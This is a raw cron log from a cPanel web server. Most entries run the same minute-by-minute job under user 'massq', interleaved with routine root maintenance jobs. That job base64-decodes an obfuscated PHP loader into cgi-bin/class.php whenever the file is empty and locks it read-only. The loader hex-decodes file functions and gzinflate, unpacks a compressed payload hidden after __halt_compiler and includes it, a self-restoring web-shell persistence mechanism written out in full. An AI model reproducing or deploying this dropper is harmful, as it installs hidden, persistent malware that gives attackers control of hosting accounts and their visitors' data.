Nov 11 02:43:01 server CROND[20506]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 02:44:01 server CROND[21337]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 02:45:01 server CROND[22255]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 02:45:01 server CROND[22256]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 02:45:01 server CROND[22257]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 02:46:01 server CROND[23103]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 02:47:01 server CROND[23918]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 02:47:01 server CROND[23919]: (root) CMD ((/usr/local/cpanel/scripts/fix-cpanel-perl; /usr/local/cpanel/scripts/upcp --cron &gt; /dev/null 2&gt;&amp;1 &gt; /dev/null))
Nov 11 02:47:21 server crontab[24308]: (root) LIST (root)
Nov 11 02:47:53 server crontab[24843]: (root) LIST (root)
Nov 11 02:47:53 server crontab[24845]: (root) LIST (root)
Nov 11 02:47:57 server crontab[24999]: (root) LIST (root)
Nov 11 02:48:01 server CROND[25108]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 02:49:01 server CROND[25997]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 02:50:01 server CROND[26816]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 02:50:01 server CROND[26817]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 02:50:01 server CROND[26818]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 02:50:01 server CROND[26822]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 11 02:50:01 server CROND[26819]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 11 02:51:01 server CROND[27772]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 02:52:01 server CROND[28582]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 02:53:01 server CROND[29399]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 02:54:01 server CROND[30255]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 02:55:01 server CROND[31069]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 02:55:01 server CROND[31070]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 02:55:01 server CROND[31072]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
